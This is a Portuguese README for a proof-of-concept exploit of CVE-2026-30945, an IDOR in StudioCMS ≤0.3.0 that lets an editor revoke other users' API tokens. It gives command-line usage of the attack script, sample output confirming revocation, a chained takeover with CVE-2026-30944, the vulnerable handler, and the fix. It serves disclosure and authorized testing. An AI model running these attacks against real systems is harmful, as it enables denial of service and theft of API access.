
Prova de conceito de exploit para CVE-2026-30945, um IDOR no StudioCMS que permite revogação arbitrária de tokens de API e negação de serviço. Inclui modos de teste manual e automatizado.
StudioCMS IDOR — Revogação Arbitrária de Tokens de API Levando a Negação de Serviço
O endpoint DELETE /studiocms_api/dashboard/api-tokens no StudioCMS ≤ 0.3.0 permite que qualquer usuário autenticado com privilégios de editor ou superiores revogue tokens de API pertencentes a qualquer outro usuário, incluindo contas admin e .
ownerO handler aceita tokenID e userID diretamente do payload da requisição sem verificar a propriedade do token, a identidade do chamador ou a hierarquia de papéis. Isso possibilita negação de serviço direcionada contra integrações e automações críticas.
Relacionado: Esta vulnerabilidade compartilha a mesma causa raiz do CVE-2026-30944 (IDOR de geração de tokens). Quando encadeadas, um atacante pode revogar tokens legítimos e gerar novos, alcançando a tomada completa das credenciais de API.
┌──────────────┐ DELETE /api-tokens ┌──────────────┐
│ │ {"tokenID":"<id>", │ │
│ Atacante │ "userID":"<owner-id>"} │ StudioCMS │
│ (Editor) │ ──────────────────────────► │ Servidor │
│ │ │ │
│ │ ◄────────────────────────── │ │
└──────────────┘ {"message":"Token deleted"} └──────────────┘
│
▼
┌──────────────┐
│ Pipeline │
│ CI/CD do │
│ Owner │──► ❌ 401 Não Autorizado
│ Integração │──► ❌ Acesso à API Perdido
│ Monitoramento│──► ❌ Falha Silenciosa
└──────────────┘
| Campo | Valor |
|---|---|
| CVE | CVE-2026-30945 |
| GHSA | GHSA-8rgj-vrfr-6hqr |
| CVSS v3.1 | 7.1 (Alta) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H |
| CWE | CWE-639: Bypass de Autorização Através de Chave Controlada pelo Usuário |
| CWE (secundária) | CWE-863: Autorização Incorreta |
| MITRE ATT&CK | T1531 — Remoção de Acesso à Conta |
| OWASP API | API1:2023 — Autorização de Nível de Objeto Quebrada |
| Afetado | studiocms ≤ 0.3.0 |
| Corrigido em | studiocms 0.4.0 |
| Arquivo | Descrição |
|---|---|
cve_2026_30945_poc.py | Script de exploração em Python com modos manual e automatizado |
README.md | Este arquivo |
LICENSE | Licença MIT |
Editorpip install requests colorama
# Revogar um token específico pertencente ao owner
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
# Encadear com CVE-2026-30944: criar um token para o alvo primeiro
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# Salvar resultados em JSON
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
--save
# Testar com múltiplos papéis
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
| Argumento | Descrição |
|---|---|
-u, --url | URL base do StudioCMS alvo |
--target-uuid | UUID do usuário alvo cujo token será revogado |
| Argumento | Descrição |
|---|---|
--token-id | UUID interno do registro do token a ser revogado (não o JWT). Se omitido, o script tentará criar um token primeiro via CVE-2026-30944 |
| Argumento | Descrição |
|---|---|
--username | Nome de usuário para autenticação |
--password | Senha para autenticação |
| Argumento | Descrição |
|---|---|
--auto-test | Ativar teste automatizado com múltiplos papéis |
--editor-user | Nome de usuário da conta Editor |
--editor-pass | Senha da conta Editor |
--visitor-user | Nome de usuário da conta Visitante |
--visitor-pass | Senha da conta Visitante |
| Argumento | Descrição |
|---|---|
--save | Salvar resultados em arquivo JSON |
--no-ssl-verify | Desativar verificação de certificado SSL |
──────────────────────────────────────────────────────────
FASE 1: Autenticação
──────────────────────────────────────────────────────────
[+] Autenticado como 'editor01'
[*] Usuário da sessão: editor01 (editor)
[*] UUID da sessão: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
FASE 3: Revogação de Token (IDOR)
──────────────────────────────────────────────────────────
[*] UUID alvo: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] ID do token: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revogando token de API do alvo...
[+] Token revogado! Resposta do servidor: Token deleted
[!] VULNERABILIDADE CONFIRMADA — Token revogado com sucesso!
[!] As integrações de API do usuário alvo agora estão quebradas (DoS)
──────────────────────────────────────────────────────────
FASE 3: Revogação de Token (IDOR)
──────────────────────────────────────────────────────────
[*] UUID alvo: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] ID do token: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revogando token de API do alvo...
[*] Acesso negado (403 Forbidden) — o endpoint pode estar corrigido
[-] Falha na revogação: Acesso negado (403 Forbidden)
Quando combinado com o IDOR de geração de tokens (CVE-2026-30944), um atacante pode realizar a tomada completa das credenciais de API:
Passo 1: Revogar o token legítimo do owner (CVE-2026-30945)
└──► Os pipelines CI/CD do owner quebram silenciosamente
Passo 2: Gerar novo token para o owner (CVE-2026-30944)
└──► O atacante agora tem acesso de API em nível de owner
Passo 3: O owner cria um novo token para corrigir
└──► O atacante o revoga novamente (DoS persistente)
Isso cria um cenário em que o atacante mantém controle persistente sobre o acesso de API do owner, revogando repetidamente qualquer novo token que o owner crie enquanto mantém seu próprio acesso ilegítimo.
O handler vulnerável em packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (linhas 58–99) aceita tokenID e userID do corpo da requisição e os passa diretamente para a função de exclusão sem qualquer verificação de autorização:
// [1] Apenas verifica se o chamador é editor — não PARA QUEM ele está revogando tokens
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] Ambos os valores do corpo da requisição — sem validação contra a sessão
const jsonData = yield* readAPIContextJson<{
tokenID: string; // Sem verificação de propriedade
userID: string; // Sem verificação de identidade
}>(ctx);
// [3] Passado diretamente para operação destrutiva — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });
O handler possui cinco falhas distintas: porta de permissão insuficiente, sem validação de propriedade do token, verificação de identidade do chamador ausente, sem aplicação de hierarquia de papéis e passagem direta de valores controlados pelo usuário para uma operação destrutiva.
Atualize o StudioCMS para a versão 0.4.0 ou posterior:
npm install studiocms@latest
Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança autorizado.
Filipe Gaudard
Este PoC é lançado sob a Licença MIT para fins educacionais. Use com responsabilidade e ética.